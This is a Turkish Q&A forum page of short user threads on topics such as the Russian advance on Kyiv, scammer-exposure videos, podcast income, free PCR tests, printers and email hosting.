Bu kadar yogun ve koordineli propagandanin oldugu bir ortamda soylemleri ve hikayeleri dikkate almamak lazim.
0
dunal
(02.03.22)
robokot +1

Mesele alması değil. Rusya bugüne kadar hep Avrupa için risk oluşturmayan yerlerde genişledi. Gürcistan'ın tümünü işgal etse Avrupa sesini çıkarmazdı. Rusya bunun Ukrayna için de böyle olacağını düşündü. Ama öyle olmadı. Askerî başarı siyasi başarıya denk değildir. İsterse bütün köyleri ele geçirsin, siyasi olarak batırdılar. Kiev'i alamadı demek yanlış değil.
0
dissendium
(02.03.22)
Rusya kiev'i alır. Fransa da alır Türkiye de alır.
Ama bu saatten sonra rusya kiev'i vs sivil halka zarar vermeden ve onların desteği ile, Batının tepkilerini almadan nasıl alir? Alamaz gibi. Cok da bilmiyorum. Ekşide link paylasilmis orada sayfalarca açıklama yapılmış detayli, su saatten sonra "abi alir alir propaganda bu" demek garip olur. Eğer bu kadar detayli açıklama yapabilecek olan varsa buraya yazardı, yok gibi iste.

Eğer amaç ukrayna'yi dümdüz etmekse yapar. Bunu yaparken zarar görmemekse gg, wp.

Bu arada progapanda deniliyor ama nedense Türkiye'de tam bir rus progapandasi var gibi. Bütün eksi sözlük büyük oyunu bozmus gibi dolaşıyor. Artık kim ne progapanda yapıyor bilmiyorum ama eminim ki kimsenin bir şey bildiği yok, herkes birbirini gaza getirip bir şey bildiğini göstermeye çalışıyor.
0
logisticsmanager
(02.03.22)
Kiev'i alsalar bile sonrası Rusya için daha zor.
Birbirlerine karşı biraz uzakta siyaset izleyen batı, sayelerinde iyice birleşmeye zorunlu hissetmeye başladı. NATO'da aslında (Sovyet)Rusya'ya karşı kurulmuş temelde abd destekli bir güç.

Ruslar genel olarak batı tarafından önemsemiyor, ötekileştirliyordu tarih boyunca. Rusya'nın ise imparatorluk hayalî var( doğu ve batı roma'dan sonra üçüncü Roma olmak istiyorlar)
Katolik kiliselerine karşı olan Ortodoks Kiliseleri de belli ki destekliyor bu siyaseti.

Şimdilik batı, askeri güç ortaya koymamakla Rusya'yı bir tür tuzağa çekiyor da olabilir.
0
Erva
(02.03.22)
batı medeniyeti öyle bir propaganda makinası çalıştırıyor ki, savaşa dair doğru haberi alma ihtimalimiz en azından bir süreliğine yok. rusya kiev'i neden alamamış sorusundan ziyade, almak istedi mi onu bile yanıtlamak zor.

bunun haricinde +1 robokot
0
kent sakini
(02.03.22)
Kiev'i almak ile kiev'i istedigi sekilde almak kiyaslamasi yapilmis, tamam iste ben de buna parmak basıyorum. Cok sağlam bir batı propogandasi var ortada, Ruslarla birebir carpisilmis da onlara ilerleme firsati verilmemis gibi bir algi yaratılıyor. Kiev'i alamama durumu yok yani benim gördüğüm bu.
Hatta bana sorarsani kiev'i alma durumu hic denenmeyecek bile belki. Baskentin icine girip carpisma secenegi en son seçenektir.

Ben şahsen Rusya Ukrayna direncini hafife aldi iyi hesaplayamadi soylemlerini de temelsiz buluyorum. Ortada kayda değer bir Ukrayna ordusu direnci veya sivil direnci oldugunu falan sanmıyorum, guzel bir mizansen izliyoruz su anda batı tarafından medya mutfağında üretilen. Dogrudan çarpışmaya girilmedi ki henuz, yani ortada sozu edilen sozum ona beklenenden cok daha kuvvetli bir Ukrayna direnci varsa bile bunu gösterecek bir pozisyon olusmadi ki. Ortada boyle bir sicak catisma ortami yok. Rusya birkac gundur yiginak halinde bekliyor ve bu surecte belli noktalari peyderpey vuruyor. Hangi direkten bahsediyoruz burada?
64km konvoy hala bekliyor, bir seye kalkismadi. Kuzeyde ve dogudaki yiginaklari bilmiyirum ama orada da durim benzer.
0
🌸stavro
(02.03.22)
(6)

youtubedaki scammer ifşa videoları gerçek mi

plastic_angel
bu hindistanlıların laptoplarına yada webcamlerine sızıyorlar, yaşadığı apartmanı buluyorlar falan. gerçek mi bunlar?
bu hindistanlıların laptoplarına yada webcamlerine sızıyorlar, yaşadığı apartmanı buluyorlar falan. gerçek mi bunlar?
0
plastic_angel
(13.02.22)
tabi ki. hatta hindistan polisine şikayet edip yakalatanlar var
0
sttc
(13.02.22)
IP adresini sadece servis sağlayıcısı bilmiyor mu, adresine nasıl ulaşıyorlar?
0
🌸plastic_angel
(13.02.22)
gerçek tabi, adam teamviewer veya benzeri bir app ile senin makinaya bağlanıyor. tabi bağlandığı makina aslında sanal makina. bu bağlantı peer to peer olduğu için bağlananın ip adresini vs elde ediyor rahatlıkla.

indian scammerlar da güvenlik uzmanı olmadıkları için ağlarına sızmak basit bir trojan veya tool ile mümkün oluyordur.
0
orpheus
(14.02.22)
arkadaşlar sorumu atlamayın. IP adresini bildiğin birinin ev adresini nasıl bulabiliyorsun? Bunu bulabilecek sadece ISP değil mi?
0
🌸plastic_angel
(14.02.22)
internet sağlayıcısı olan firmada çalışıyordur, orada tanıdığı vardır veya küçük bir ihtimal oraya sızmışlardır veri çekiyorlardır.

bir devlet kurumunda birisi sistemden bir işlem yapıyor, kendi yaptığı anlaşılmasın diye arkadaşının şifresiyle kendi evinden giriyor. yapılan işlemin yapıldığı IP tespit edildi. ttnet de üst düzey tanıdıkları olan biri bu IP'den girilen adresi el altından öğrendi. sonra araya başka hatırlı kişiler girdi, mevzunun üstü örtüldü.

neyse kısaca IP'den ev adresi ve kullanıcıya dair pekçok bilgi içerden gizlice öğrenilebilir. sızıntı servis sağlayıcıdan kaynaklanıyordur büyük ihtimal
0
yemrem
(14.02.22)
hindistandaki yapıyı bilmiyoruz ki?
bizde ip aratınca adres çıkmıyor son 10 senedir falan. en iyi ihtimalle ilçe tutturursun.
belki hindistanda daha dardır bu çember.
ayrıca o videolarda olay ip ile çözülmüyor ki.
ip olayın %5 falandır belki. full sosyal mühendislik o videolar.
opsec falan allaha emanet olduğu için biraz kafayı bu işlere kırmış birinin eline düştüklerinde bir giydiklerini donun rengini öğrenmediği kalıyor adamın.
belki yapanların elinde bulk data var. bunlar ucuz şeyler genelde android cihazlardan toplanır. botlar için kullanılır. içinde gerçek kullanıcılardan gelen bilgiler vardır. işletim sistemi, ip, cihaz tipi vs. bunlardan alıp direkt iple bir sonuç bulamasa bile ip bloğundan çemberi çok güzel daraltabilir.
0
Whily
(14.02.22)
(4)

podcast para kazandiriyor mu?

exlibris
youtube vs yuklenirse belki reklam geliri olur ama ben google podcast'ten dinliyorum. podcast uretenler parayi nasil kazaniyorlar? spotify, apple falan bunlara para veriyor mu?
youtube vs yuklenirse belki reklam geliri olur ama ben google podcast'ten dinliyorum. podcast uretenler parayi nasil kazaniyorlar? spotify, apple falan bunlara para veriyor mu?
0
exlibris
(06.02.22)
Vermiyorlar diye biliyorum. Yabancıların çok dinlenen podcast'leri bile her bölümde patreon ve sponsorlu bağlantı paylaşarak (işte squarespace'e bizim kodumuzla abone olun gibi) reklam alıyorlar.
0
malheiros
(06.02.22)
vermiyor. dinlenme sayisi sadece taninirligini artirir ve reklam verenlerin radarina girmesine yarar.

sponsorluk vb anlasmasi olabilir, denildigi gibi patreon hesabi ile para kazanan olabilir (sadece uye olanlara ozel icerik olusturuldugu mecra)

ornegin cambly gelip "al bu senin kod, ver dinleyicilere, bu kodla gelen sayisina gore sana su kadar veriyorum" diyor muhtemelen.
0
supergirl
(06.02.22)
içerik üreticiliğinde para reklam anlaşmalarından gelir. izlemeden dinlemeden kazanılan paralara o kitleye göre çok komik paralar genelde.
0
Whily
(06.02.22)
Spotify'da bi podcast'im var önüne gelen dosyaları host ettiği sürece podcast koyabiliyor apple'a da spotify'a da. Bi gelir söz konusu değil.

Youtube koyarsanız reklam alabilirsiniz ama o da bi gelir falan değil.

Dinlenme sayınız yüksek ise sponsor en etkili gelir yöntemi podcastler için.
0
hedep
(06.02.22)
(9)

Üniversite Hocaları Bütünlemeye Bırakınca Para Alıyor Mu?

depresif çocuk
Sürpriz bir şekilde herkesin bütünlemeye kaldığı bir sınav olduk. Acaba bu bilgi bir şehir efsanesi midir?
Sürpriz bir şekilde herkesin bütünlemeye kaldığı bir sınav olduk. Acaba bu bilgi bir şehir efsanesi midir?
0
depresif çocuk
(13.01.22)
Bir kuruş bile almıyoruz. Kesin bilgi.
0
opucuk baligi
(13.01.22)
Ayrıca hocalar öğremncileri büte kalmasını istemez. Tekrar soru hazırla kağıt oku vs..
0
ceketimi alip cikcam
(13.01.22)
vakıf üniversitesi ve bütünleme sınavı için ekstra para ödeniyorsa işkillenmekte haklı olabilirsiniz. ancak devlet üniversitesi ve bütünleme için para ödenmeyen vakıf üniversitelerinde kimse ekstra para almaz. zira zaten olağan işin bir parçasıdır bütler.
0
pardus
(13.01.22)
Tam tersi bütünlemeler, devlettekiler için, ekstra ameleliktir
0
KaraSakall
(14.01.22)
hocalar büte bırakınca para alsa büte kalmak sürpriz bir olay olmazdı.
0
Whily
(14.01.22)
Bütten para alınmıyor, soru hazırlamak bir yana tüm sınıfın finalini okuduktan sonra bir de bütünleme kağıtlarını okumak zorunda kalıyorlar. Hiçbir hoca bütünlemeye bırakıp kendine iş çıkarmak istemez.
0
cek
(14.01.22)
Konetsu hocam işin içinden bildiriyorum. @Cek de aynı görüşü paylaşmış.

1 kişi için evet soru hazırlıcak ama hoca o 1 kişinin de kalmasını istemez.

Benim çevremde asistana okutanı görmedim/duymadım.

Büte kalmayan dersler de oluyor.
0
ceketimi alip cikcam
(14.01.22)
But sonrasi yaz okulu yok mu?

Bizde yaz okuluna birakir hoca kendine cip alirdi sezon sonunda.
Bunu aliskanlik edinmis dif hocasi vardi.
0
divit
(14.01.22)
Bazı ünilerde fakültelerde, hoca dersi dönem içinde veriyorsa yazın açamıyor , bu durumları engellemek için.
0
ceketimi alip cikcam
(14.01.22)
(2)

uğur mumcu'nun yanındaki kim?

tabudeviren
https://twitter.com/saral65/status/1476886263143800832
0
tabudeviren
(01.01.22)
Adnan Kahveci olabilir mi?
0
rastinon
(02.01.22)
adnan kahveci gibi bir anaplının o fotoğrafta yer alması hele bir de uğur mumcu ile yanyana Muammer Aksoyun cenaze töreninde fotoğraf taşıması paralel evrenlerde bile ihtimal dahilinde değil.
benim oyum behramoğlularından birine ama hangisi bu saate kestiremedim.
0
Whily
(02.01.22)
(8)

Her isteyene pcr yapılıyor mu?

zimbirik
Ameliyat olacağım, ailemin refakatçi olması için pcr testi gerekiyor. Ama özel hastanede yaptıeaak 2 kişi 500 tl ödeyecekler. Devlet hastanesine gidip durumu anlatsak semptom göstermeseler de test yaparlar mı ücretsiz? Yoksa illa semptom göstermeleri mi lazım? İşe giderken falan aşısız olduğu için
Ameliyat olacağım, ailemin refakatçi olması için pcr testi gerekiyor. Ama özel hastanede yaptıeaak 2 kişi 500 tl ödeyecekler. Devlet hastanesine gidip durumu anlatsak semptom göstermeseler de test yaparlar mı ücretsiz? Yoksa illa semptom göstermeleri mi lazım?

İşe giderken falan aşısız olduğu için pcr vermek durumunda kalan insanlar elini kolunu sallayarak devlet hastanesinde yaptırabiliyor mu?
Biz göztepe sak ya gideceğiz. Şimdi şehir hastanesi oldu yeni adından emin değilim.
0
zimbirik
(23.10.21)
Elini kolunu sallayan herkes yaptırabiliyor. Sebep soruluyor tabii. "Yakın temaslıyım, iyi hissetmiyorum" tek başına yeterli. Geçmiş olsun şimdiden.
0
IncredibleMau
(23.10.21)
@ incrediblemau Ama bu durumda da izolasyon ile alakalı mesaj geliyor. Ama buna yapılacak bir şey yok sanırım. Bir de yakın temaslıyım diyince temas ettiğin kişinin tcsini sormuyorlar mı?
0
🌸zimbirik
(23.10.21)
1 ay önce iki kez test oldum. Yine benim gibi o ara test olan bir sürü kişi var. Hiçbir şey sorulmadı. Yakın temas mutlaka aynı evde yaşadığın anlamına gelmez. İkameti aynı evde olan kişilere galiba otomatik mesaj gidiyor ama. Tc vs sorulmuyor ama, eminim.
0
IncredibleMau
(23.10.21)
boğazım ağrıyor desen yaparlar.
0
jelly bear
(23.10.21)
evet. sorarlarsa iş yeri istedi, kurs istedi, tiyatro istedi, konser istedi de geç.
0
Whily
(23.10.21)
Refakatci olarak hastaneye gidicez vs dediklerinde fevlet hastanesinde ucretsiz yaptiriyorlar. Yaklasik 40 gun once babam hastaneye yatarken annem ile ikisi bu sekilde ucretsiz yaptirdilar.
Gecmis olsun.
0
the end of time
(23.10.21)
İzolasyon mesajı her türlü geliyor zaten. Yurtdışına çıkacağım diyebilirsiniz, konsere veya maça gideceğim de diyebilirsiniz. Kimseye birşey sormuyorlar. Ücretsiz bir şekilde herkes pcr yaptırabildiği için aşılanmayanlar arasında kimse aşı olmaya da gerek duymuyor.
0
curukturpkokusu
(23.10.21)
Eşimin doğumuna girebilmek için test yaptırmam gerekiyordu.

Devlet hastanesinin acil bölümüne gittim. iş yeri test istiyor dedim, bitti.
0
kaiserr76
(24.10.21)
(4)

Bim'e gelen şu yazıcı nasıl?

Bartebly
Merhaba Abim evde kullanmak için şu yazıcıyı almayı düşünüyor. Temel kullanım için nasildir. Hp desljet 2710https://www.cagrigazetetv.com/hp-wifi-yazici-2710-ozellikleri-12-mart-2021-bim-aktuel/568/Teşekkürler
Merhaba
Abim evde kullanmak için şu yazıcıyı almayı düşünüyor. Temel kullanım için nasildir.
Hp desljet 2710
www.cagrigazetetv.com

Teşekkürler
0
Bartebly
(19.10.21)
Alma bayağı kötü yazıcı. Mürekkep parası 2 ay sonra yazıcı parasını geçer
0
westblack
(19.10.21)
hp müşteri değil finansal köle arayan bir firma, öyle bir niyetin varsa alabilirsin.
0
Whily
(19.10.21)
ev kullanımı için uygun. kartuş bittikçe kendiniz doldurursunuz. internette kitleri satılıyor.
0
false pretension
(19.10.21)
Ofis için kötü, ev için iyi. Ben aldım kullanıyorum. İlk aldığımda yaklaşık 100 sayfada mürekkep bitti. Sonra doldurunca baya gitti. Kaliteli çıktı veriyor. Mürekkebi de kendin doldurursan seni baya götürür.
0
burty
(20.10.21)
(4)

maillerim için sunucu hizmeti

fistikthecat
web sitesi ve şirket emaili için guzel hosting ile çalışmaya başladık. çok da memnunduk.bizim web sitesi 100 mb tutmaz, zaten basit bir wordpress. daha çok mail için kullanıyoruz.kapasite gerektiği için sınırsız pakete geçtik. kendileri bizi uyardılar kapasiteniz doluyor diye.ama şimdi bize yine bil
web sitesi ve şirket emaili için guzel hosting ile çalışmaya başladık. çok da memnunduk.
bizim web sitesi 100 mb tutmaz, zaten basit bir wordpress. daha çok mail için kullanıyoruz.
kapasite gerektiği için sınırsız pakete geçtik. kendileri bizi uyardılar kapasiteniz doluyor diye.
ama şimdi bize yine bildirim geldi bu sınırsız paket web sitesi için mail hizmetinde ayrı yer kullanacaksınız diye. ayrıca para istiyorlar.

bu bana saçma geldi başta desene o zaman, kapasite sorununun sebebi mailler şuna geçmelisin diye.

ben şimdi maillerimin boyutu fazla olduğu için taşımak istiyorum. web sitesi kalabilir ama mailleri ayrıca taşıyabilir miyim, önerebileceğiniz yer var mıdır?
0
fistikthecat
(08.10.21)
kaç kişi mail adresine sahip domainde? mailleşmek önemliyse gsuite'e geçebilirsiniz
gsuite.google.com.tr
0
nahtoderfahrung
(08.10.21)
Alan adınızı yandex.connect'e kaydedip yandex altyapısını kullanabilirsiniz. Kullanıcı başına 10 GB alan verir.

not: ücretsiz.
0
himmet dayi
(08.10.21)
4 tane aktif mevcut.
0
🌸fistikthecat
(08.10.21)
yandex + 1
ücretsiz olsa gsuite derdim
mailleri taşımak için: yandex.com
0
Whily
(08.10.21)
(4)

araba'da işe yarayan uygulamalar

ayseee
var mı öyle güzel uygulamalar..yandex ve hgs yükledim başka bir uygulamaya gerek var mıdır?
var mı öyle güzel uygulamalar..

yandex ve hgs yükledim başka bir uygulamaya gerek var mıdır?
0
ayseee
(07.10.21)
YouTube premium
0
stavro
(07.10.21)
eğer obd2 vericisi almayı düşünürseniz torque var. verici üzerinden araç bilgisayarına bağlanıp aracın hızından, araç sensörlerinin durumuna ve hatta parçacık filtresinin mevcut tıkanıklık durumuna kadar her şeyi görebilirsiniz.

youtu.be
0
akhenaten
(07.10.21)
fuelio. aracınız için yaptığınız masrafları takip edebiliyorsunuz. istatistik çıkartabiliyorsunuz.
0
inheritance
(08.10.21)
radar, çevirme uygulamaları. mavili bir tane vardı unuttum adını güzeldi.
0
Whily
(08.10.21)
(2)

Apartman Yönetimine Girmek Zorunda mıyım?

ugrcn
Merhaba,Yaşadığım şehirden farklı bir il de evim var, 7 yıllık bir apartman içinde kiracılarım var, bugün bi WhatsApp grubu kurmuşlar apartman yönetimi oluşturalım diyorlar. Hiç bu işlerden anlamam hep müstakil evlerde oturdum, dikkat etmem gereken noktalar nelerdir bu hususta ? Dediğim gibi farklı
Merhaba,

Yaşadığım şehirden farklı bir il de evim var, 7 yıllık bir apartman içinde kiracılarım var, bugün bi WhatsApp grubu kurmuşlar apartman yönetimi oluşturalım diyorlar. Hiç bu işlerden anlamam hep müstakil evlerde oturdum, dikkat etmem gereken noktalar nelerdir bu hususta ? Dediğim gibi farklı bir şehirdeyim nasıl dahil olunur, ne sıklıkla toplantı yapılır, toplantıya gitmek mecburi mi ? yasal olarak bir sorumluluk altına girer miyim ? Tecrübeli arkadaşlarım bilgilendirirse bu konuda beni çok sevinirim.
0
ugrcn
(02.10.21)
mecburi değil de gitsen iyi olur. yeni taşınan, ilk kez ev alan tipleri yönetime sokmamaya çalışın. hele bu ikisinin birleşimini hiç sokmayın. sonra saçma saçma şunu da yapalım apartmana masraflarıyla gelirler.
0
Whily
(02.10.21)
yasal olarak yönetici olmazsan sorumluluk altına girmezsin. toplantılara girmek senin elinde. ama girmediğin toplantılarda alınan kararlara uyman gerekir. mesela havuz yaptıralım kararı alabilirler, paşa paşa parasını ödersiniz isteseniz de istemeseniz de.
0
oekuklu
(02.10.21)
buraya yazılanların hakları Sir Anthony Hopkins'e aittir.
yazan eden compumaster, ilgilenen eden fader
modere edenler basond, compumaster, fraise, kibritsuyu, rakicandir
bu sitede yazılanların hiçbiri doğru değildir. site içeriği küçükler için sakıncalı olabilir. yazılardan yazarları sorumludur. kaynak göstermeden alıntılanamaz. devlet tarafından atanmış bir kurumun internet üzerinde kimin hangi bilgiye ulaşıp ulaşamayacağına karar vermesi insan haklarına aykırıdır. web siteleri kullanıcıların istekleri doğrultusunda bağlandıkları yerlerdir. kullanıcılar isterlerse bir web sitesine bağlanmayabilirler. bu güçleri ve imkanları mevcuttur. bir kullanıcı bir siteye bağlanmak istiyorsa bu onun tercihi ve hakkıdır. bağlanmak istemiyorsa bu yine onun tercihi ve hakkıdır. halkın kendisine hizmet etmesi için görevlendirdiği kurumlar hadlerini aşıp halka neye ulaşıp ulaşmayacağını bilmeyen cahil cühela muamelesi edemezler. ebeveynlerin çocuklarını sakıncalı içeriklerden koruması için çok sayıda bedava ve ücretli yazılım mevcuttur. bu yazılımlar bir web tarayıcısını kullanmaktan daha karmaşık teknik bilgi gerektirmemektedir. devletin milletini küçük düşürmesi ve ebleh yerine koyması yasaktır.